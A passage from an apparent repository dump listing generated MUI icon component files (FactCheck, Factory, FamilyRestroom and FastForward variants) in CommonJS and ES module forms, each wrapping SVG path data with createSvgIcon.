    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H6c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m0-4H6c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m0-4H6c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m9.7 2.12-3.17 3.17c-.39.39-1.03.39-1.42 0l-1.41-1.42a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71 2.47-2.47c.39-.39 1.02-.39 1.41 0l.01.01c.38.39.38 1.03-.01 1.41\"\n}), 'FactCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheckSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M2 3v18h20V3zm8 14H5v-2h5zm0-4H5v-2h5zm0-4H5V7h5zm4.82 6L12 12.16l1.41-1.41 1.41 1.42L17.99 9l1.42 1.42z\"\n}), 'FactCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheckSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M2 3v18h20V3zm8 14H5v-2h5zm0-4H5v-2h5zm0-4H5V7h5zm4.82 6L12 12.16l1.41-1.41 1.41 1.42L17.99 9l1.42 1.42z\"\n}), 'FactCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheckTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h16V5H4zm9.41-8.25 1.41 1.42L17.99 9l1.42 1.42L14.82 15 12 12.16zM5 7h5v2H5zm0 4h5v2H5zm0 4h5v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H4V5h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.41 10.42 17.99 9l-3.17 3.17-1.41-1.42L12 12.16 14.82 15zM5 7h5v2H5zm0 4h5v2H5zm0 4h5v2H5z\"\n}, \"2\")], 'FactCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactCheckTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h16V5H4zm9.41-8.25 1.41 1.42L17.99 9l1.42 1.42L14.82 15 12 12.16zM5 7h5v2H5zm0 4h5v2H5zm0 4h5v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H4V5h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.41 10.42 17.99 9l-3.17 3.17-1.41-1.42L12 12.16 14.82 15zM5 7h5v2H5zm0 4h5v2H5zm0 4h5v2H5z\"\n}, \"2\")], 'FactCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Factory.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10v12H2V10l7-3v2l5-2v3zm-4.8-1.5L18 2h3l.8 6.5zM11 18h2v-4h-2zm-4 0h2v-4H7zm10-4h-2v4h2z\"\n}), 'Factory');"
  },
  {
    "path": "packages/mui-icons-material/lib/Factory.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10v12H2V10l7-3v2l5-2v3zm-4.8-1.5L18 2h3l.8 6.5zM11 18h2v-4h-2zm-4 0h2v-4H7zm10-4h-2v4h2z\"\n}), 'Factory');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactoryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 22H2V10l7-3v2l5-2v3h3l1-8h3l1 8zM12 9.95l-5 2V10l-3 1.32V20h16v-8h-8zM11 18h2v-4h-2zm-4 0h2v-4H7zm10-4h-2v4h2z\"\n}), 'FactoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactoryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 22H2V10l7-3v2l5-2v3h3l1-8h3l1 8zM12 9.95l-5 2V10l-3 1.32V20h16v-8h-8zM11 18h2v-4h-2zm-4 0h2v-4H7zm10-4h-2v4h2z\"\n}), 'FactoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactoryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 10V8.48c0-.71-.71-1.19-1.37-.93L9 9v-.48c0-.72-.73-1.21-1.39-.92l-4.4 1.88C2.48 9.8 2 10.52 2 11.32V20c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V10zm-5 7c0 .55-.45 1-1 1s-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1zm3.12-15h-1.23c-.51 0-.93.38-.99.88l-.7 5.62h4.6l-.69-5.62c-.06-.5-.49-.88-.99-.88\"\n}), 'FactoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactoryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 10V8.48c0-.71-.71-1.19-1.37-.93L9 9v-.48c0-.72-.73-1.21-1.39-.92l-4.4 1.88C2.48 9.8 2 10.52 2 11.32V20c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V10zm-5 7c0 .55-.45 1-1 1s-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1zm3.12-15h-1.23c-.51 0-.93.38-.99.88l-.7 5.62h4.6l-.69-5.62c-.06-.5-.49-.88-.99-.88\"\n}), 'FactoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactorySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10v12H2V10l7-3v2l5-2v3zm-4.8-1.5L18 2h3l.8 6.5zM11 18h2v-4h-2zm-4 0h2v-4H7zm10-4h-2v4h2z\"\n}), 'FactorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactorySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10v12H2V10l7-3v2l5-2v3zm-4.8-1.5L18 2h3l.8 6.5zM11 18h2v-4h-2zm-4 0h2v-4H7zm10-4h-2v4h2z\"\n}), 'FactorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactoryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12V9.95l-5 2V10l-3 1.32V20h16v-8zm-3 6H7v-4h2zm4 0h-2v-4h2zm4 0h-2v-4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 22H2V10l7-3v2l5-2v3h3l1-8h3l1 8zM12 9.95l-5 2V10l-3 1.32V20h16v-8h-8zM11 18h2v-4h-2zm-4 0h2v-4H7zm10-4h-2v4h2z\"\n}, \"1\")], 'FactoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FactoryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12V9.95l-5 2V10l-3 1.32V20h16v-8zm-3 6H7v-4h2zm4 0h-2v-4h2zm4 0h-2v-4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 22H2V10l7-3v2l5-2v3h3l1-8h3l1 8zM12 9.95l-5 2V10l-3 1.32V20h16v-8h-8zM11 18h2v-4h-2zm-4 0h2v-4H7zm10-4h-2v4h2z\"\n}, \"1\")], 'FactoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroom.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 18v-6h2.5l-2.54-7.63C19.68 7.55 18.92 7 18.06 7h-.12c-.86 0-1.63.55-1.9 1.37l-.86 2.58c1.08.6 1.82 1.73 1.82 3.05v8zm-7.5-10.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 16v-7H9V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v6h1.5v7zm6.5 0v-4h1v-4c0-.82-.68-1.5-1.5-1.5h-2c-.82 0-1.5.68-1.5 1.5v4h1v4z\"\n}), 'FamilyRestroom');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroom.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 18v-6h2.5l-2.54-7.63C19.68 7.55 18.92 7 18.06 7h-.12c-.86 0-1.63.55-1.9 1.37l-.86 2.58c1.08.6 1.82 1.73 1.82 3.05v8zm-7.5-10.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 16v-7H9V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v6h1.5v7zm6.5 0v-4h1v-4c0-.82-.68-1.5-1.5-1.5h-2c-.82 0-1.5.68-1.5 1.5v4h1v4z\"\n}), 'FamilyRestroom');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroomOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 18v-6h2.5l-2.54-7.63C19.68 7.55 18.92 7 18.06 7h-.12c-.86 0-1.63.55-1.9 1.37l-.86 2.58c1.08.6 1.82 1.73 1.82 3.05v8zm-7.5-10.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 16v-7H9V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v6h1.5v7zm6.5 0v-4h1v-4c0-.82-.68-1.5-1.5-1.5h-2c-.82 0-1.5.68-1.5 1.5v4h1v4z\"\n}), 'FamilyRestroomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroomOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 18v-6h2.5l-2.54-7.63C19.68 7.55 18.92 7 18.06 7h-.12c-.86 0-1.63.55-1.9 1.37l-.86 2.58c1.08.6 1.82 1.73 1.82 3.05v8zm-7.5-10.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 16v-7H9V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v6h1.5v7zm6.5 0v-4h1v-4c0-.82-.68-1.5-1.5-1.5h-2c-.82 0-1.5.68-1.5 1.5v4h1v4z\"\n}), 'FamilyRestroomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroomRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 17v-5h1.11c.68 0 1.16-.67.95-1.32l-2.1-6.31C19.68 7.55 18.92 7 18.06 7h-.12c-.86 0-1.63.55-1.9 1.37l-.86 2.58c1.08.6 1.82 1.73 1.82 3.05v8h2c.55 0 1-.45 1-1m-7.5-9.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 15v-6H8c.55 0 1-.45 1-1V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h.5v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1m2.5-7v3c0 .55.45 1 1 1v3c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-3c.55 0 1-.45 1-1v-3c0-.82-.68-1.5-1.5-1.5h-2c-.82 0-1.5.68-1.5 1.5\"\n}), 'FamilyRestroomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroomRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 17v-5h1.11c.68 0 1.16-.67.95-1.32l-2.1-6.31C19.68 7.55 18.92 7 18.06 7h-.12c-.86 0-1.63.55-1.9 1.37l-.86 2.58c1.08.6 1.82 1.73 1.82 3.05v8h2c.55 0 1-.45 1-1m-7.5-9.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 15v-6H8c.55 0 1-.45 1-1V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h.5v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1m2.5-7v3c0 .55.45 1 1 1v3c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-3c.55 0 1-.45 1-1v-3c0-.82-.68-1.5-1.5-1.5h-2c-.82 0-1.5.68-1.5 1.5\"\n}), 'FamilyRestroomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroomSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 18v-6h2.5l-3-9h-3l-1.17 3.5H17V22zm-7.5-10.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 16v-7H9V7H2v8h1.5v7zm6.5 0v-4h1v-5.5h-5V18h1v4z\"\n}), 'FamilyRestroomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroomSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 18v-6h2.5l-3-9h-3l-1.17 3.5H17V22zm-7.5-10.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 16v-7H9V7H2v8h1.5v7zm6.5 0v-4h1v-5.5h-5V18h1v4z\"\n}), 'FamilyRestroomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroomTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 18v-6h2.5l-2.54-7.63C19.68 7.55 18.92 7 18.06 7h-.12c-.86 0-1.63.55-1.9 1.37l-.86 2.58c1.08.6 1.82 1.73 1.82 3.05v8zm-7.5-10.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 16v-7H9V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v6h1.5v7zm6.5 0v-4h1v-4c0-.82-.68-1.5-1.5-1.5h-2c-.82 0-1.5.68-1.5 1.5v4h1v4z\"\n}), 'FamilyRestroomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FamilyRestroomTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4c0-1.11.89-2 2-2s2 .89 2 2-.89 2-2 2-2-.89-2-2m4 18v-6h2.5l-2.54-7.63C19.68 7.55 18.92 7 18.06 7h-.12c-.86 0-1.63.55-1.9 1.37l-.86 2.58c1.08.6 1.82 1.73 1.82 3.05v8zm-7.5-10.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5S11 9.17 11 10s.67 1.5 1.5 1.5M5.5 6c1.11 0 2-.89 2-2s-.89-2-2-2-2 .89-2 2 .89 2 2 2m2 16v-7H9V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v6h1.5v7zm6.5 0v-4h1v-4c0-.82-.68-1.5-1.5-1.5h-2c-.82 0-1.5.68-1.5 1.5v4h1v4z\"\n}), 'FamilyRestroomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForward.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 18 8.5-6L4 6zm9-12v12l8.5-6z\"\n}), 'FastForward');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForward.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 18 8.5-6L4 6zm9-12v12l8.5-6z\"\n}), 'FastForward');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForwardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9.86 18.03 12 15 14.14zm-9 0L9.03 12 6 14.14zM13 6v12l8.5-6zM4 6v12l8.5-6z\"\n}), 'FastForwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForwardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9.86 18.03 12 15 14.14zm-9 0L9.03 12 6 14.14zM13 6v12l8.5-6zM4 6v12l8.5-6z\"\n}), 'FastForwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForwardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.58 16.89 5.77-4.07c.56-.4.56-1.24 0-1.63L5.58 7.11C4.91 6.65 4 7.12 4 7.93v8.14c0 .81.91 1.28 1.58.82M13 7.93v8.14c0 .81.91 1.28 1.58.82l5.77-4.07c.56-.4.56-1.24 0-1.63l-5.77-4.07c-.67-.47-1.58 0-1.58.81\"\n}), 'FastForwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForwardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.58 16.89 5.77-4.07c.56-.4.56-1.24 0-1.63L5.58 7.11C4.91 6.65 4 7.12 4 7.93v8.14c0 .81.91 1.28 1.58.82M13 7.93v8.14c0 .81.91 1.28 1.58.82l5.77-4.07c.56-.4.56-1.24 0-1.63l-5.77-4.07c-.67-.47-1.58 0-1.58.81\"\n}), 'FastForwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForwardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 18 8.5-6L4 6zm9-12v12l8.5-6z\"\n}), 'FastForwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FastForwardSharp.mjs",
